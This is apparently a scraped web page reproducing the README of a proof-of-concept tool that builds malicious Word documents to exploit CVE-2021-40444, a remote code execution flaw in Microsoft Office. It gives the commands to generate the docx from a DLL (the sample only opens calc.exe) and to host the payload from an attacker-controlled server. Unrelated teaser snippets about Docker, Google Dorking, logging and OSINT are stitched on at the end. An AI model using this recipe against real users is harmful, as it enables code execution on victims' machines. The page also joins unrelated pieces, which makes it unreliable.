CVE-2021-40444 PoC is a Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)
Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file)
You need to install lcab first (sudo apt-get install lcab
)
Check REPRODUCE.md
for manual reproduce steps
If your generated cab is not working, try pointing out exploit.html URL to calc.cab
First generate a malicious docx document given a DLL, you can use the one at test/calc.dll
which just pops a calc.exe
from a call to system()
python3 exploit.py generate test/calc.dll http://<SRV IP>
Once you generate the malicious docx (will be at out/
) you can setup the server:
sudo python3 exploit.py host 80
Finally try the docx in a Windows Virtual Machine:
Docker is a powerful open-source containerization platform that allows developers to build, test, and deploy…
Docker is one of the most widely used containerization platforms. But there may come a…
Introduction Google Dorking is a technique where advanced search operators are used to uncover information…
Introduction In cybersecurity and IT operations, logging fundamentals form the backbone of monitoring, forensics, and…
What is Networking? Networking brings together devices like computers, servers, routers, and switches so they…
Introduction In the world of Open Source Intelligence (OSINT), anonymity and operational security (OPSEC) are…